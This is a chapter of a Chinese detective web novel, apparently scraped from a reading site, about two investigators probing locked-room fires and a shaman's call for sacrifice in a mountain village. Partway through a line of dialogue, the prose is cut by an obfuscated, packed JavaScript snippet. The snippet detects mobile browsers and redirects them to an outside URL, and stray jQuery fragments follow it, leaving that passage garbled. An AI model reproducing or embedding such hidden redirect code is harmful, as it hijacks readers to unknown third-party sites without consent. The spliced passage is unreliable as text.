100. 应对

作品:《女驸马探案录

    从村长的屋子出来,旁边就是雷凡葬身之地。


    村子里安静得只听得见风吹响树叶的沙沙声音。


    二人动作都没那么谨慎了。


    颜清越阔步走进门,看了一眼门后的木梁。


    “真是一模一样啊。”


    “其实……我有个想法。”陆行跟着进来。


    他晃了晃门口断掉的木梁。


    “两个房间的木梁都正好在门口,你说会不会是凶手在关门前用木梁抵在门后?所以才导致门打不开?”


    颜清越看了一眼木梁断掉的截面。


    “不是,没有砍痕,凶手不能把木梁断裂都算得那么准。”


    她的手不由摸上了被烧得漆黑的门闩。


    手下的触感是熟悉的粗糙。


    颜清越抠下黑色的渣块,放在帕子中。


    “我觉得,秘密应该就在其中。”


    陆行捻起一块,捏了捏。


    “这是什么东西?像……土块?”


    颜清越仔细观察门闩的结构。


    或许是因为岫云村在山里,很少有外来的人,村民也不太防备贼人,这门闩的结构十分简单。


    一边是一个铜制的凹槽,一边是一片可以活动的铜片。


    进屋后把铜片放下,铜片卡在槽中就可以从里面把门锁上。


    “若是把一块土放在凹槽里,另外一边的铜片就会被顶起来,无法掉入槽内。可是这泥巴不像是冰块这种东西,会变形。这铜片一直被顶着,不掉下来,门也没法锁上啊?”颜清越摆弄着锁,“除非有什么办法能让这个泥巴自己像冰块一样融化掉……”


    第二日,忙了一晚上的二人睡到天大亮才起床。


    雷威很早就出去了,还是谭秀在招待二人。


    她今日是抱着孩子来的。


    二虎名字带虎,长得却很秀气,说话也是很小声。


    谭秀催促道:“还不快叫人,这就是那日救你的林老板。”


    二虎小脸红红的。


    “林老板好……”


    颜清越摸了摸他的头,俯下身问道:“你感觉好些了吗?”


    “好些了,多谢林老板。”


    颜清越摆手:“你叫我林哥哥就好了,林老板听上去太老了。”


    二虎乖乖唤了一声。


    “林哥哥。”


    “真乖!”颜清越赞道,“谭嫂子,你家二虎教的真好。”


    谭秀谦虚道:“山里的孩子,只是不爱跑跳罢了。今早我给二位弄些面可好?”


    “麻烦你了。”


    “你们就是忒客气。”


    谭秀摆摆手,转身进了厨房。


    二人坐下,二虎却呆呆站在原地,很是手足无措。


    颜清越朝着他招手。


    “二虎,来,坐过来。”


    二虎回过神,咬了咬嘴唇,慢腾腾坐到了她身边。


    颜清越摸了一下孩子的脉象。


    是有所缓解。


    “大夫给你开的什么药呀?可以给哥哥看看吗?”


    二虎勾住脖子上的红绳往外一扯,红绳上吊着一个瓷白的小葫芦。


    他取下红绳将小葫芦递给颜清越。


    “就是这个药,让我七日吃一次,吃完这一瓶就暂时停药。”


    颜清越打开药瓶闻了闻。


    “朱砂、黄连、当归……是朱砂安神丸,算是对症。这药确实是不能多吃。”她把红绳又给孩子挂上,“记住,你以后如果忽然感觉到不舒服,比如手脚发麻、头晕目眩、耳鸣或是什么异常一定要马上叫人,这是发病的前兆。”


    二虎一脸信服,用力点点头:“我记住了,林哥哥。”


    颜清越揉了揉他的脸蛋:“你也太乖了吧。”


    陆行赞同地点点头。


    为什么他的弟弟妹妹都那么像是猴子成精。


    谭秀端着两碗面出来。


    “二位快用饭吧。”


    谭秀的手艺很好,一碗清汤面也调理得有滋有味,二人几口就吃了个干净。


    颜清越放下筷子,说道:“今日我们想去药田看一看。”


    谭秀收拾着东西。


    “好啊,我带二位去就是了。只是这几日药田都没有什么人。”


    村长父子被害,村民们都忙着操办丧事,药田自然无人看管。


    “只是看看,我们……”


    砰——


    一声巨响。


    颜清越不由向山顶看去。


    山顶上又弥漫出了一股白烟,浓浓的白烟将山顶都遮住了一半。


    谭秀死死抱住孩子,打着哆嗦。


    颜清越站起身,眼睛微微眯起。


    是巴蛇又出洞了。


    过了片刻,谭秀拍拍胸口,问到了:“林老板,你们还去不去药田?”


    “白日应该不会出事吧?”


    谭秀很是自信。


    “自然不会,陈婆婆说过的,巴蛇白日里是不敢到村里的。”


    “那走吧。”


    药田也不远,不过一刻钟左右就能到。


    然而,刚到药田,空气中传来的一丝焦糊味就让颜清越不由警觉了起来。


    “啊!药房!”谭秀惊呼,“药房!”


    她指着左手边一处小小的屋子。


    屋子在山坡下,已经被烧得一干二净。


    这么快?


    颜清越对着谭秀说道:“你去叫人来,我们先去看看。”


    谭秀连忙点头,抱着孩子朝着村里跑去。


    二人快步走到那被烧掉的屋内。


    屋内被烧得精光,里面的热气还尚未褪去。


    情况和之前的一模一样,没有尸体。


    颜清越率先查看了门窗。


    果然,窗框和门闩处又出现了黑色的渣块。


    而这一次陆行有了新发现。


    风从被烧干净的窗框进入,吹动了烛台下的一片一片的灰。


    他伸出出手指按在桌上,将灰一抹,放在鼻下一闻。


    一股辛香气。


    “是草木灰?”


    颜清越听到了这句话,急忙走过来。


    “什么草木灰?”


    陆行指了指:“这桌面上有草木灰。”


    桌上只有一个烛台和几个杯子……


    怎么会有草木灰呢?


    “桌上原来放着草木一类的东西?会不会是药材。”


    陆行摇头:“我没有闻到药的味道,这味道更像是秸秆焚烧的气味”


    这还真是奇了怪了。


    秸秆?这东西放在桌子上做什么?


    “谭大!”


    正当颜清越百思不得其解的时候,一个汉子哭喊着冲进了屋。


    二人对视一眼。


    雷七郎?


    此人正是那个进村那日和他们起过冲突的雷七郎。


    雷七郎站在空荡荡的床前,像是失神一般,喃喃着:“人呢……”


    颜清越知道这人的脾气大,等他平静下来才上前问道:“原本谭大在这个屋里吗?”


    雷七郎拿袖子擦了一把脸。


    “昨晚谭大说要炮制药材,就一直呆在这里。”


    “这里是炮制药材的地方?”


    “是……珍贵的药材都在这屋里炮制。”雷七郎低下头,“你看到什么了吗?”


    “我们来的时候


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15929500|165310||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,这屋子已经被烧掉了。”颜清越觉得他似乎在掩饰什么,只说道,“还是让人去找一找吧,万一谭大昨晚不在此呢?”


    雷七郎无力的摇摇头。


    “哪里有那么巧合的事……巴蛇出洞,这里就失火。”


    陈苹从门后出现。


    “陈婆婆叫你们过去。”


    陈婆婆的院外站满了人。


    二人站在一边看着。


    门内传来陈芫那模糊的声音。


    “谭大死了?”


    “是,就在今早。”


    “我昨晚卜卦之时,山神给了我指示。”


    村民一下安静了下来。


    “山神说,要我们祭祀。”


    闷闷的女声很是嘶哑,带着诡谲的气息。


    祭祀!


    颜清越不由站直了身子,面色严肃了起来。


    雷威问道:“这次祭祀需要做什么准备?”


    “二十斤糯米染成五色,稻、黍、稷、麦、菽各十斤。一头一百斤以上的猪、两只公鸡鸡、一只羊、十尾五斤以上的鲈鱼,还有香烛纸钱多多益善。”陈芫补充道,“你们男子下山去买,不能让女子过手,直接送到这里,我焚香祝祷后再抬去山洞。”


    雷威问道:“那猪羊是要活的吗?”


    “老规矩,煮好即可。”


    雷威应下:“是,我们马上去办。”


    村民们忙活了起来,男人们都下山去了,女子也都各自往家里走去。


    二人也转身准备离开。


    “等等!”陈苹的声音从背后传来,“二位林老板留步。陈婆婆有请。”


    又请他们?


    颜清越心里疑惑极了。


    二人来之前就想到过,陈芫会不会记得陆行的长相。


    可陈芫对陆行的脸并没有反应,但她又好几次请二人留下单独说话。


    要知道,她在村民面前都没有露过面啊!


    难道她真的认出陆行了?


    心里想得再多,陈芫没有其他动作,二人也只能装作无事的样子,跟着陈苹走了进去。


    如同之前一般,陈芫已经站在了小门门口。


    还是那副瘆人的模样。


    颜清越看不懂她。


    若她不是个为利之人,又怎么会搅和在那些事情当中?若她当真是这样的人,又为何愿意把钱财都分给乡亲?


    还有她的模样,苍老得太厉害了。


    若非事先就知道她就是陈芫,颜清越怎么也没法把那个画像中一脸倨傲的女人和面前这个如同活死人一般的陈婆婆联系起来。


    “二位请坐。”陈芫抬手,语气温和。


    二人坐下后,她才问道:“冒昧问一句,二位老板的属相。”


    颜清越老实道:“鼠。”


    陆行想了想:“龙。”


    陈芫干枯的脸上露出一个笑。


    “果然!难怪我看二位周边的气都是祥和之气。”


    颜清越假笑。


    这神婆……


    “陈婆婆问这个做甚?”


    “属相为鼠和龙的人最克蛇了。”陈芫上前一步,“二位能否帮我一个忙?”


    颜清越说道:“但讲无妨。”


    “今日,谭大算是在白日里被害的。可见这巴蛇越发猖狂了。村里的青壮年又都不在,等会儿我想要将人集中在祠堂保护,可否劳烦二位也在祠堂帮帮忙?”


    这本就是避免伤亡的好办法。


    至少大家都在祠堂,凶手就无法行凶了。


    颜清越满口应下。


    “自然可以。”


    陈芫行了一礼。


    “老身替乡亲们谢过二位了。”